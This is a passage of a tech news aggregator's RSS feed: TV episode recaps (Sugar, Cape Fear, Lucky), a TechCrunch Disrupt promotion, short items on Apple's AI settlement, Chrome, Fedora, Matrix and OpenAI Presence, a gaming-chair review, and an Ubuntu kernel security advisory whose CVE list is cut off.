Her name was Peg Rosenthal, another member of Sugar’s species who became deeply attached to human life. She enjoyed human food, relationships and money before becoming involved in financial crimes.



Sugar was ordered to collect Peg and send her home. During their journey, she warned him that becoming human was a slippery slope. Peg believed her actions had changed her so much that her people would never accept her again.



When Sugar briefly leaves to buy tissues, Peg covers herself and the vehicle in gasoline before taking her own life. Her death explains Sugar’s fear that his growing connection to humanity will eventually destroy him as well.



Sugar cannot bring himself to kill Vega



Sugar enters Vega’s apartment with a gun and appears ready to end the threat. However, he stops himself before pulling the trigger.



His hesitation becomes even more dangerous when Vega meets him later at the hotel bar. Sugar explains that Ji will remain silent, but Vega refuses to take the risk. He makes it clear that Ji cannot stay alive.



Sugar tells Vega that he had an opportunity to kill him earlier. Vega responds that Sugar should have taken it, leaving the two men heading toward an unavoidable confrontation.



Meanwhile, Sugar and Charlotte become closer, showing how quickly he continues to embrace human emotions and desires. With Ji still in hiding and Vega preparing his next move, Sugar has placed himself in too deep with nowhere safe left to go.



What do you think Sugar will do when Vega finally finds Ji? Let us know in the comments.]]></content:encoded>
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<title><![CDATA[Cape Fear Season 1 Episode 9 Ending Explained: Every Twist Before the Finale]]></title>
<description><![CDATA[The Cape Fear finale looks set to bring the Bowdens and the Cady family together for one final, violent confrontation. Episode 9 revealed several important family secrets while leaving Zack missing and Anna trapped near Cape Fear.



Spoiler warning: This article contains major spoilers for Cape ...]]></description>
<link>https://tsecurity.de/de/3692313/ios-mac-os/cape-fear-season-1-episode-9-ending-explained-every-twist-before-the-finale/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692313/ios-mac-os/cape-fear-season-1-episode-9-ending-explained-every-twist-before-the-finale/</guid>
<pubDate>Fri, 24 Jul 2026 20:48:40 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Cape Fear finale looks set to bring the Bowdens and the Cady family together for one final, violent confrontation. Episode 9 revealed several important family secrets while leaving Zack missing and Anna trapped near Cape Fear.



Spoiler warning: This article contains major spoilers for Cape Fear Episode 9, “The Scar.”




Finale release date: July 31, 2026



Episode title: “The Executioners”



Season length: 10 episodes



Genre: Psychological thriller and drama



Streaming platform: Apple TV



Main cast: Amy Adams, Javier Bardem, Patrick Wilson, Lily Collias, Joe Anders, CCH Pounder, Malia Pyles and Juliette Lewis




Where the Story Is Heading



Anna travelled to Cape Fear hoping to prove that Max Cady did not murder his wife, Melissa. She eventually discovered that Crystal killed Melissa out of jealousy and allowed Max to spend 17 years in prison for the crime.



Anna also learned that Luke, the scarred young man living with Crystal, is the child Crystal had with Max. After Crystal stabbed Anna, she escaped by jumping into the Cape Fear River. Meanwhile, Zack disappeared from the psychiatric facility, suggesting that Max has taken him as part of his final plan.



Max Cady



Max will probably take Zack to Cape Fear and use him to force Anna and Tom into a final confrontation. Although Max was wrongly imprisoned for Melissa’s murder, the finale is unlikely to excuse the violence and manipulation he has committed since his release.



Our prediction is that Max will die near the river, following the basic direction of earlier Cape Fear stories. Anna may kill him while protecting Zack or Natalie, completing the reversal from frightened victim to active survivor.



Anna Bowden



Anna now possesses the truth about Crystal, Luke and Melissa’s death. She will likely survive her injuries, return to Savannah and lead the effort to rescue Zack.



She may also expose Crystal as the real murderer, clearing Max’s name after his death. However, Anna could still face legal consequences for planting drugs in Max’s home and hiding parts of her relationship with him.



Tom Bowden



Tom remains in custody for Ray’s death, but Max’s involvement should eventually become clear. Tom will probably escape or receive temporary release before joining Anna at Cape Fear.



His marriage may survive the immediate crisis, although Anna’s history with Max and the question of Natalie’s biological father will leave lasting damage.



Natalie Bowden



Natalie has finally recognised how Max and Nevaeh manipulated her. She took Nevaeh’s hidden phone before Noa secured her release, giving the family valuable evidence about Max’s plans.



Natalie will likely help Noa trace Max and rescue Zack. She may also reject Max completely, regardless of whether his claim about being her biological father proves true.



Zack Bowden



Zack is in the greatest danger heading into the finale. Max has spent the season manipulating his mental health, religious beliefs and anger toward Tom.



Zack may initially follow Max willingly before realising that he has been used. We expect him to survive, although the finale could leave him responsible for seriously injuring or killing someone during the rescue.



Nevaeh Valentine



Nevaeh failed to kill Natalie and lost the secret phone she used to communicate with Max. She will probably turn against Max after recognising that he views her as another disposable part of his revenge plan.



She may confess, help investigators locate Zack or die while attempting to regain Max’s approval.



Noa Toussaint



Noa has become the Bowdens’ most reliable ally. She will likely use the phone Natalie stole to trace Max’s movements and lead the police toward Cape Fear.



Her arrival could stop Anna from killing Max in cold blood, although Max may force Anna to act before help reaches them.



Crystal and Luke



Crystal will probably follow Anna after escaping the boat, bringing Luke into the final conflict. Max may kill Crystal after learning that she murdered Melissa and allowed him to remain imprisoned.



Luke could attack Max or Crystal after discovering the full truth about his parents. He may survive as the final reminder of the abuse and secrecy running through the Cady family.



The Cape Fear finale has several mysteries left to answer, including Zack’s location, Natalie’s paternity and Max’s ultimate fate. What do you think will happen when the Bowdens and Cadys meet for the final time? Let us know in the comments.]]></content:encoded>
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<title><![CDATA[‘Lucky’ Season 1 Episode 3 Recap: Lucky Finally Tracks Down Cary]]></title>
<description><![CDATA[“Lucky” Season 1, Episode 3 follows Lucky as she searches for Cary and the stolen money, using every trick she learned during her unusual childhood. The episode, titled “Read the Room,” also reveals that Agent Billie Rand’s pursuit of Priscilla has become deeply personal.



“Lucky” is a seven-ep...]]></description>
<link>https://tsecurity.de/de/3692287/ios-mac-os/lucky-season-1-episode-3-recap-lucky-finally-tracks-down-cary/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692287/ios-mac-os/lucky-season-1-episode-3-recap-lucky-finally-tracks-down-cary/</guid>
<pubDate>Fri, 24 Jul 2026 20:27:30 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[“Lucky” Season 1, Episode 3 follows Lucky as she searches for Cary and the stolen money, using every trick she learned during her unusual childhood. The episode, titled “Read the Room,” also reveals that Agent Billie Rand’s pursuit of Priscilla has become deeply personal.



“Lucky” is a seven-episode Apple TV limited series based on Marissa Stapley’s novel. The first two episodes arrived on July 15, followed by weekly releases through August 19.




Episode title: Read the Room



Release date: July 22, 2026



Runtime: 45 minutes




Spoiler warning for “Lucky” Episode 3



After the failed multimillion-dollar robbery, Lucky remains separated from Cary, who disappeared with their money. She also continues running from Priscilla’s people and the FBI while relying on the criminal skills taught to her by her father, John.



Episode 3 begins with a flashback showing John completing a deal for Priscilla as Agent Rand watches nearby. Lucky warns John that the situation will end badly. In the present, Rand follows Lucky’s trail through gas-station security footage, although she remains several steps behind her.



Lucky reaches Priscilla’s farm and hides while Dutch questions Noah about fake identification documents. Dutch eventually kills him, allowing Lucky to steal Noah’s identification and search for the person making the fake documents.



Lucky crashes a child’s birthday party



Before continuing her search, Lucky enters a child’s birthday party to obtain clothes, money and transportation. A flashback shows John teaching young Lucky how to steal at such events, including taking cash envelopes and unattended purses.



Lucky leaves the party with a new outfit, enough money to tip a valet and someone else’s car. The scene shows how easily she can enter an unfamiliar environment, gain people’s trust and disappear before anyone notices what happened.



At Noah’s home, Lucky discovers that his neighbour creates fake IDs. While studying her previous work, Lucky finds evidence that Cary used her services and adopted the name Colson Smith.



Lucky finally finds Cary



Lucky manipulates a real-estate agent into giving her access to the property where Cary is staying. While Cary swims nearby, she searches the house and discovers a gun and a laptop protected by a 12-word seed phrase.



Cary returns to find the property destroyed and Lucky waiting inside. Meanwhile, Wayne tells Priscilla that he has also discovered Cary’s location, placing both Cary and Lucky in immediate danger.



Episode 3 ends with the former partners finally reunited, although their missing money and broken trust remain unresolved. What do you think Cary will tell Lucky, and will they work together against Priscilla? Let us know in the comments.]]></content:encoded>
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<title><![CDATA[IT leaders: Leading-edge AI insights await at TechCrunch Disrupt]]></title>
<description><![CDATA[For CIOs, learning from the startup ecosystem has never been more critical.



As pressure mounts to transform business operations with AI and agentic systems, IT leaders should be looking to those on the AI vanguard for insights into the strategic and technical decisions necessary to launch, gro...]]></description>
<link>https://tsecurity.de/de/3692224/it-security-nachrichten/it-leaders-leading-edge-ai-insights-await-at-techcrunch-disrupt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692224/it-security-nachrichten/it-leaders-leading-edge-ai-insights-await-at-techcrunch-disrupt/</guid>
<pubDate>Fri, 24 Jul 2026 19:56:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For CIOs, learning from the startup ecosystem has never been more critical.</p>



<p class="wp-block-paragraph">As pressure mounts to transform business operations with AI and agentic systems, IT leaders should be looking to those on the AI vanguard for insights into the strategic and technical decisions necessary to launch, grow, and thrive in today’s AI-disrupted business environment.</p>



<p class="wp-block-paragraph">So why not immerse yourself in Silicon Valley’s most famous firehose of hyper-accelerated fail-fast and dream-big culture by <a href="https://techcrunch.com/events/techcrunch-disrupt/?utm_source=cio&amp;utm_medium=partner&amp;utm_campaign=disrupt2026&amp;utm_content=partnerdiscount&amp;promo=cio10&amp;display=true">registering for TechCrunch Disrupt 2026</a>?</p>



<p class="wp-block-paragraph">Three packed days of 200-plus sessions across six stages will spark new ideas for reshaping your AI strategy, provide fresh perspectives on the architectural, workflow, and resource decisions involved in moving AI from pilots to scale, and give you a sneak peek of business disruptions to come.</p>



<p class="wp-block-paragraph"><strong><a href="https://techcrunch.com/events/techcrunch-disrupt/?utm_source=cio&amp;utm_medium=partner&amp;utm_campaign=disrupt2026&amp;utm_content=partnerdiscount&amp;promo=cio10&amp;display=true">Get 10% off your TechCrunch Disrupt</a> pass with the exclusive code CIO10.</strong> </p>



<p class="wp-block-paragraph">This year’s <a href="https://techcrunch.com/events/techcrunch-disrupt/">TechCrunch Disrupt</a>, held Oct. 13-15 at San Francisco’s Moscone West, will feature big-picture conversations on what’s next in AI; discussions on how AI agents are rewriting SaaS, enterprise workflows, software pricing, and security; and demonstrations of AI’s future across robotics, manufacturing, defense, and industrial operations; and more.</p>



<p class="wp-block-paragraph">Over 10,000 attendees will hear from 250-plus startup founders, technology executives, and enterprise IT leaders about how the future of programming is being rewritten, what enterprise AI security requires, how startups are orchestrating workloads across models while managing cost and reliability at scale, why creating a safety culture is essential for AI deployment, and how startups are deciding what work humans should own versus what should be delegated to AI as they work to build hybrid teams without losing speed, accountability, or culture.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<p class="wp-block-paragraph">And of course, the rising tide of enterprise-focused startups will be there seeking to bring agentic systems to your business workflows, as well as vendors familiar to your enterprise IT portfolios, such as AWS, Google, and Databricks, and enterprise IT colleagues creating mutually beneficial partnerships with the startup community, such as American Express.</p>



<p class="wp-block-paragraph">That’s not to mention TechCrunch Disrupt’s signature <a href="https://techcrunch.com/startup-battlefield/">Startup Battlefield</a>, in which 200 standout companies showcase their innovations to compete for a $100K equity-free prize. The battlefield will give CIOs a rapid-fire, broad view of what’s possible — and a possible early look at the next big enterprise player. After all, Dropbox, Trello, and Cloudflare, among others, roamed that same battlefield before the world knew their names.</p>



<p class="wp-block-paragraph">And with M&amp;A now an early-stage startup strategy for many from day one, TechCrunch Disrupt’s exhibition floor provides IT leaders not just an opportunity to discuss the nuts and bolts of innovation architecture or how an upstart product can enhance your workflows, but a chance to find your next innovation partner, or more.</p>



<p class="wp-block-paragraph">Leading-edge startups are figuring out how to make AI work at scale. Shouldn’t you be?</p>



<p class="wp-block-paragraph"><strong>Don’t miss your chance to experience TechCrunch Disrupt 2026. <a href="https://techcrunch.com/events/techcrunch-disrupt/?utm_source=cio&amp;utm_medium=partner&amp;utm_campaign=disrupt2026&amp;utm_content=partnerdiscount&amp;promo=cio10&amp;display=true">Book your pass today and use the exclusive code CIO10</a> to save 10% before prices increase.</strong></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Apple’s $250M AI iPhone Settlement Moves Forward. Find Out If You’re Eligible to Collect]]></title>
<description><![CDATA[The company will pay iPhone owners to settle a lawsuit concerning missing and delayed AI features.]]></description>
<link>https://tsecurity.de/de/3692217/it-nachrichten/apples-250m-ai-iphone-settlement-moves-forward-find-out-if-youre-eligible-to-collect/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692217/it-nachrichten/apples-250m-ai-iphone-settlement-moves-forward-find-out-if-youre-eligible-to-collect/</guid>
<pubDate>Fri, 24 Jul 2026 19:50:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The company will pay iPhone owners to settle a lawsuit concerning missing and delayed AI features.]]></content:encoded>
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<title><![CDATA[Chrome Dev for Desktop Update]]></title>
<description><![CDATA[The Dev channel has been updated to 152.0.7967.2 for Windows, Mac and Linux.A partial list of changes is available in the Git log. Interested in switching release channels? Find out how. If you find a new issue, please let us know by filing a bug. The community help forum is also a great place to...]]></description>
<link>https://tsecurity.de/de/3692188/it-security-nachrichten/chrome-dev-for-desktop-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692188/it-security-nachrichten/chrome-dev-for-desktop-update/</guid>
<pubDate>Fri, 24 Jul 2026 19:25:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Dev channel has been updated to 152.0.7967.2 for Windows, Mac and Linux.</p><p>A partial list of changes is available in the <a href="https://chromium.googlesource.com/chromium/src/+log/152.0.7953.3..152.0.7967.2?pretty=fuller&amp;n=10000">Git log</a>. Interested in <a href="https://www.chromium.org/getting-involved/dev-channel/">switching</a> release channels? Find out <a href="https://www.chromium.org/getting-involved/dev-channel/">how</a>. If you find a new issue, please let us know by <a href="https://crbug.com/">filing a bug</a>. The <a href="https://productforums.google.com/forum/#!forum/chrome">community help forum</a> is also a great place to reach out for help or learn about common issues.</p><p>Chrome Release Team<br><a href="https://www.google.com/chrome"></a><a href="https://www.google.com/chrome">Google Chrome</a></p>]]></content:encoded>
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<title><![CDATA[De Vlieger: The Fedora 45 sausage factory]]></title>
<description><![CDATA[Fedora contributor Simon de Vlieger has published a blog
post with a walkthrough of how the project turns source code and
packages into the final release that users install on their systems.


It follows the a package from a packager's git push to a composed
release: ISOs, cloud images, container...]]></description>
<link>https://tsecurity.de/de/3691877/linux-tipps/de-vlieger-the-fedora-45-sausage-factory/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691877/linux-tipps/de-vlieger-the-fedora-45-sausage-factory/</guid>
<pubDate>Fri, 24 Jul 2026 17:15:45 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Fedora contributor Simon de Vlieger has published a <a href="https://supakeen.com/weblog/the-fedora-45-sausage-factory/">blog
post</a> with a walkthrough of how the project turns source code and
packages into the final release that users install on their systems.</p>

<blockquote class="bq">
<p>It follows the a package from a packager's git push to a composed
release: ISOs, cloud images, container images, and OSTree
deployments.</p>

<p>The walkthrough describes how the Fedora 'sausage' is created as of
Fedora 45, things change all the time; I hope to have time to update
this document every cycle or every few cycles of Fedora releases so
there's both history and people can find up to date information.</p>
</blockquote>

<p></p>]]></content:encoded>
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<title><![CDATA[Matrix Live S13E03 – Homeserver Decentralisation Working Group]]></title>
<description><![CDATA[Author: Matrixdotorg - Bewertung: 0x - Views:12 Andy talks to Clément about the Homeserver Decentralisation Working Group and the importance (and complexities) of decentralisation.

Homeserver Decentralisation Working Group on matrix.org 
https://matrix.org/foundation/working-groups/#homeserver-d...]]></description>
<link>https://tsecurity.de/de/3691856/videos/matrix-live-s13e03-homeserver-decentralisation-working-group/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691856/videos/matrix-live-s13e03-homeserver-decentralisation-working-group/</guid>
<pubDate>Fri, 24 Jul 2026 16:59:12 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Matrixdotorg - Bewertung: 0x - Views:12 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/eFxOelR-TEc?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>Andy talks to Clément about the Homeserver Decentralisation Working Group and the importance (and complexities) of decentralisation.<br />
<br />
Homeserver Decentralisation Working Group on matrix.org <br />
https://matrix.org/foundation/working-groups/#homeserver-decentralisation<br />
Homeserver Decentralisation Working Group Charter<br />
https://matrix.org/foundation/working-groups/homeserver-decentralisation/#charter<br />
Homeserver Decentralisation Working Group discussion room https://matrix.to/#/#homeserver-decentralisation:matrix.org<br />
<br />
This Week in Matrix: https://matrix.org/twim<br />
<br />
Find Matrix.org on the internet:<br />
🐘 https://mastodon.matrix.org/@matrix<br />
🤝 https://www.linkedin.com/company/matrix-org<br />
🦋 https://bsky.app/profile/matrix.org<br />
[m] Office of the Matrix Foundation https://matrix.to/#/%23foundation-office:matrix.org<br/></p>]]></content:encoded>
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<item>
<title><![CDATA[OpenAI Launches Presence to Help Enterprises Deploy Reliable AI Agents]]></title>
<description><![CDATA[OpenAI Presence helps enterprises deploy voice and chat agents with policies, simulations, human approvals, and Codex-powered improvement tools.]]></description>
<link>https://tsecurity.de/de/3691781/it-nachrichten/openai-launches-presence-to-help-enterprises-deploy-reliable-ai-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691781/it-nachrichten/openai-launches-presence-to-help-enterprises-deploy-reliable-ai-agents/</guid>
<pubDate>Fri, 24 Jul 2026 16:21:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[OpenAI Presence helps enterprises deploy voice and chat agents with policies, simulations, human approvals, and Codex-powered improvement tools.]]></content:encoded>
</item>
<item>
<title><![CDATA[I’ve been gaming for 40 years. Here are the best chairs in the UK for comfort, support and serious play]]></title>
<description><![CDATA[Whether you’re on PC or a console, level up your setup with our gaming expert’s pick of the best chairs• The best games of 2026 so farComfort is crucial to the gaming experience. It’s hard to focus on blasting aliens or taking Stoke to the Champions League final if your bum has gone to sleep beca...]]></description>
<link>https://tsecurity.de/de/3691779/it-nachrichten/ive-been-gaming-for-40-years-here-are-the-best-chairs-in-the-uk-for-comfort-support-and-serious-play/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691779/it-nachrichten/ive-been-gaming-for-40-years-here-are-the-best-chairs-in-the-uk-for-comfort-support-and-serious-play/</guid>
<pubDate>Fri, 24 Jul 2026 16:21:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Whether you’re on PC or a console, level up your setup with our gaming expert’s pick of the best chairs</p><p>• <a href="https://www.theguardian.com/culture/ng-interactive/2026/jun/11/the-best-games-of-2026-so-far"><strong>The best games of 2026 so far</strong></a></p><p>Comfort is crucial to the gaming experience. It’s hard to focus on blasting aliens or taking Stoke to the Champions League final if your bum has gone to sleep because you’ve been sitting on an old chair for three hours. We’re spending <a href="https://www.nytimes.com/2025/10/03/upshot/video-games-boys-young-men.html">more time playing games than ever before</a>, so good posture matters. If you have set up a dedicated gaming space, then a rickety seat just won’t cut it.</p><p>From luxurious ergonomic thrones to cheap-and-cheerful bucket seats, the options available are bewildering. So I set out on an epic quest: to find the most comfortable, durable and stylish gaming chairs. Here’s what I discovered.</p><p><strong>Best gaming chair overall:</strong><br>
 Secretlab Titan Evo</p><p><strong>Best budget gaming chair:</strong><br>
 ThunderX3 Solo 360</p> <a href="https://www.theguardian.com/thefilter/2026/jul/24/best-gaming-chairs-tested-uk">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Pentagon’s Autonomous Weapons Definitions Don’t Need an Overhaul, They Need an Update]]></title>
<description><![CDATA[The Pentagon's push to integrate AI into weapons systems exposes a critical gap: no one can agree on what "autonomous weapons" means.
The post The Pentagon’s Autonomous Weapons Definitions Don’t Need an Overhaul, They Need an Update appeared first on Just Security.]]></description>
<link>https://tsecurity.de/de/3691671/it-security-nachrichten/the-pentagons-autonomous-weapons-definitions-dont-need-an-overhaul-they-need-an-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691671/it-security-nachrichten/the-pentagons-autonomous-weapons-definitions-dont-need-an-overhaul-they-need-an-update/</guid>
<pubDate>Fri, 24 Jul 2026 15:30:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Pentagon's push to integrate AI into weapons systems exposes a critical gap: no one can agree on what "autonomous weapons" means.</p>
<p>The post <a href="https://www.justsecurity.org/143209/the-pentagons-autonomous-weapons-definitions-dont-need-an-overhaul-they-need-an-update/">The Pentagon’s Autonomous Weapons Definitions Don’t Need an Overhaul, They Need an Update</a> appeared first on <a href="https://www.justsecurity.org/">Just Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8595-2: Linux kernel (AWS) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691499/unix-server/usn-8595-2-linux-kernel-aws-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691499/unix-server/usn-8595-2-linux-kernel-aws-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:43 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
